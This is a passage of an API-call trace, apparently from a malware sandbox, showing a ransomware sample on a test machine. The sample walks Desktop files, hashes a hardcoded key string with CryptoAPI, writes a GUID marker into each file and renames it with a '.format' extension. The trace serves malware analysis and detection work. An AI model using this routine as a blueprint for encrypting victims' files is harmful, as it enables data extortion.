hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d340 [0067.004] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.004] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.004] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.004] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.004] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.004] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.004] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.004] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.004] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.004] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.004] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.004] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.004] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.004] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.004] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.004] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.004] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.005] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.005] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0067.005] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.005] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.005] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.006] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.006] PathFindFileNameW (pszPath="") returned="" [0067.006] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9dd4bcc0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9dd4bcc0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.006] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9dd4bcc0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9dd4bcc0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.006] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5de7e30, ftCreationTime.dwHighDateTime=0x1d4d160, ftLastAccessTime.dwLowDateTime=0xf012aad0, ftLastAccessTime.dwHighDateTime=0x1d4d2f6, ftLastWriteTime.dwLowDateTime=0xf012aad0, ftLastWriteTime.dwHighDateTime=0x1d4d2f6, nFileSizeHigh=0x0, nFileSizeLow=0x1534, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5zH-zIr1.jpg", cAlternateFileName="")) returned 1 [0067.006] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5zH-zIr1.jpg") returned=".jpg" [0067.006] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5zH-zIr1.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5zh-zir1.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.006] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=5428) returned 1 [0067.006] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.008] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x150e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.008] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.009] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x1534, lpOverlapped=0x0) returned 1 [0067.009] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.009] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.009] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.009] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.010] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.010] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.010] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.010] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.010] GetLastError () returned 0x0 [0067.010] SetLastError (dwErrCode=0x0) [0067.010] GetLastError () returned 0x0 [0067.010] SetLastError (dwErrCode=0x0) [0067.010] GetLastError () returned 0x0 [0067.010] SetLastError (dwErrCode=0x0) [0067.010] GetLastError () returned 0x0 [0067.010] SetLastError (dwErrCode=0x0) [0067.010] GetLastError () returned 0x0 [0067.011] SetLastError (dwErrCode=0x0) [0067.011] GetLastError () returned 0x0 [0067.011] SetLastError (dwErrCode=0x0) [0067.011] GetLastError () returned 0x0 [0067.011] SetLastError (dwErrCode=0x0) [0067.011] GetLastError () returned 0x0 [0067.011] SetLastError (dwErrCode=0x0) [0067.011] GetLastError () returned 0x0 [0067.011] SetLastError (dwErrCode=0x0) [0067.011] GetLastError () returned 0x0 [0067.011] SetLastError (dwErrCode=0x0) [0067.011] GetLastError () returned 0x0 [0067.011] SetLastError (dwErrCode=0x0) [0067.011] GetLastError () returned 0x0 [0067.011] SetLastError (dwErrCode=0x0) [0067.011] GetLastError () returned 0x0 [0067.011] SetLastError (dwErrCode=0x0) [0067.011] GetLastError () returned 0x0 [0067.011] SetLastError (dwErrCode=0x0) [0067.011] GetLastError () returned 0x0 [0067.011] SetLastError (dwErrCode=0x0) [0067.011] GetLastError () returned 0x0 [0067.011] SetLastError (dwErrCode=0x0) [0067.011] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.011] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.011] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.012] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.012] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.012] CloseHandle (hObject=0x5c8) returned 1 [0067.012] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5zH-zIr1.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5zh-zir1.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5zH-zIr1.jpg.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5zh-zir1.jpg.format")) returned 1 [0067.014] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa56c0020, ftCreationTime.dwHighDateTime=0x1d4ccc1, ftLastAccessTime.dwLowDateTime=0xffc6d790, ftLastAccessTime.dwHighDateTime=0x1d4cdf5, ftLastWriteTime.dwLowDateTime=0xffc6d790, ftLastWriteTime.dwHighDateTime=0x1d4cdf5, nFileSizeHigh=0x0, nFileSizeLow=0x11b08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aOnv.rtf", cAlternateFileName="")) returned 1 [0067.014] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aOnv.rtf") returned=".rtf" [0067.014] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aOnv.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aonv.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.014] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=72456) returned 1 [0067.014] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.016] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x11ae2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.016] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.017] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x11b08, lpOverlapped=0x0) returned 1 [0067.018] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.018] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.018] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.018] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.018] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.019] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.019] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.019] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.019] GetLastError () returned 0x0 [0067.019] SetLastError (dwErrCode=0x0) [0067.019] GetLastError () returned 0x0 [0067.019] SetLastError (dwErrCode=0x0) [0067.019] GetLastError () returned 0x0 [0067.019] SetLastError (dwErrCode=0x0) [0067.019] GetLastError () returned 0x0 [0067.019] SetLastError (dwErrCode=0x0) [0067.019] GetLastError () returned 0x0 [0067.019] SetLastError (dwErrCode=0x0) [0067.019] GetLastError () returned 0x0 [0067.019] SetLastError (dwErrCode=0x0) [0067.019] GetLastError () returned 0x0 [0067.019] SetLastError (dwErrCode=0x0) [0067.019] GetLastError () returned 0x0 [0067.019] SetLastError (dwErrCode=0x0) [0067.019] GetLastError () returned 0x0 [0067.019] SetLastError (dwErrCode=0x0) [0067.019] GetLastError () returned 0x0 [0067.019] SetLastError (dwErrCode=0x0) [0067.019] GetLastError () returned 0x0 [0067.019] SetLastError (dwErrCode=0x0) [0067.019] GetLastError () returned 0x0 [0067.019] SetLastError (dwErrCode=0x0) [0067.019] GetLastError () returned 0x0 [0067.019] SetLastError (dwErrCode=0x0) [0067.019] GetLastError () returned 0x0 [0067.020] SetLastError (dwErrCode=0x0) [0067.020] GetLastError () returned 0x0 [0067.020] SetLastError (dwErrCode=0x0) [0067.020] GetLastError () returned 0x0 [0067.020] SetLastError (dwErrCode=0x0) [0067.020] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.020] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.020] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x11b08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.020] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.020] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.020] CloseHandle (hObject=0x5c8) returned 1 [0067.022] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aOnv.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aonv.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aOnv.rtf.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aonv.rtf.format")) returned 1 [0067.023] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19da1190, ftCreationTime.dwHighDateTime=0x1d4d0a5, ftLastAccessTime.dwLowDateTime=0xc359e210, ftLastAccessTime.dwHighDateTime=0x1d4c545, ftLastWriteTime.dwLowDateTime=0xc359e210, ftLastWriteTime.dwHighDateTime=0x1d4c545, nFileSizeHigh=0x0, nFileSizeLow=0x173a9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BHoyqXyEnI.wav", cAlternateFileName="BHOYQX~1.WAV")) returned 1 [0067.023] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BHoyqXyEnI.wav") returned=".wav" [0067.023] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BHoyqXyEnI.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bhoyqxyeni.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.024] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=95145) returned 1 [0067.024] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.026] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x17383, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.026] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.027] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x173a9, lpOverlapped=0x0) returned 1 [0067.027] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.027] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.027] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.027] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.028] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.028] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.028] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.028] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.028] GetLastError () returned 0x0 [0067.028] SetLastError (dwErrCode=0x0) [0067.028] GetLastError () returned 0x0 [0067.028] SetLastError (dwErrCode=0x0) [0067.028] GetLastError () returned 0x0 [0067.028] SetLastError (dwErrCode=0x0) [0067.028] GetLastError () returned 0x0 [0067.029] SetLastError (dwErrCode=0x0) [0067.029] GetLastError () returned 0x0 [0067.029] SetLastError (dwErrCode=0x0) [0067.029] GetLastError () returned 0x0 [0067.029] SetLastError (dwErrCode=0x0) [0067.029] GetLastError () returned 0x0 [0067.029] SetLastError (dwErrCode=0x0) [0067.029] GetLastError () returned 0x0 [0067.029] SetLastError (dwErrCode=0x0) [0067.029] GetLastError () returned 0x0 [0067.029] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.029] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.030] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x173a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.030] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.030] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.030] CloseHandle (hObject=0x5c8) returned 1 [0067.031] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BHoyqXyEnI.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bhoyqxyeni.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BHoyqXyEnI.wav.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bhoyqxyeni.wav.format")) returned 1 [0067.032] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91946280, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x91946280, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x8fca9f00, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x8be00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bxavdk.exe", cAlternateFileName="")) returned 1 [0067.032] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe") returned=".exe" [0067.032] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bxavdk.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0067.033] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e5470c0, ftCreationTime.dwHighDateTime=0x1d4c547, ftLastAccessTime.dwLowDateTime=0xd32f5030, ftLastAccessTime.dwHighDateTime=0x1d4c5db, ftLastWriteTime.dwLowDateTime=0xd32f5030, ftLastWriteTime.dwHighDateTime=0x1d4c5db, nFileSizeHigh=0x0, nFileSizeLow=0xd2be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="c9bdd6Fy9R2i0LIdNVF1.doc", cAlternateFileName="C9BDD6~1.DOC")) returned 1 [0067.033] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c9bdd6Fy9R2i0LIdNVF1.doc") returned=".doc" [0067.033] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\c9bdd6Fy9R2i0LIdNVF1.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c9bdd6fy9r2i0lidnvf1.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.033] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=53950) returned 1 [0067.033] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.035] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xd298, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.035] ReadFile (in: 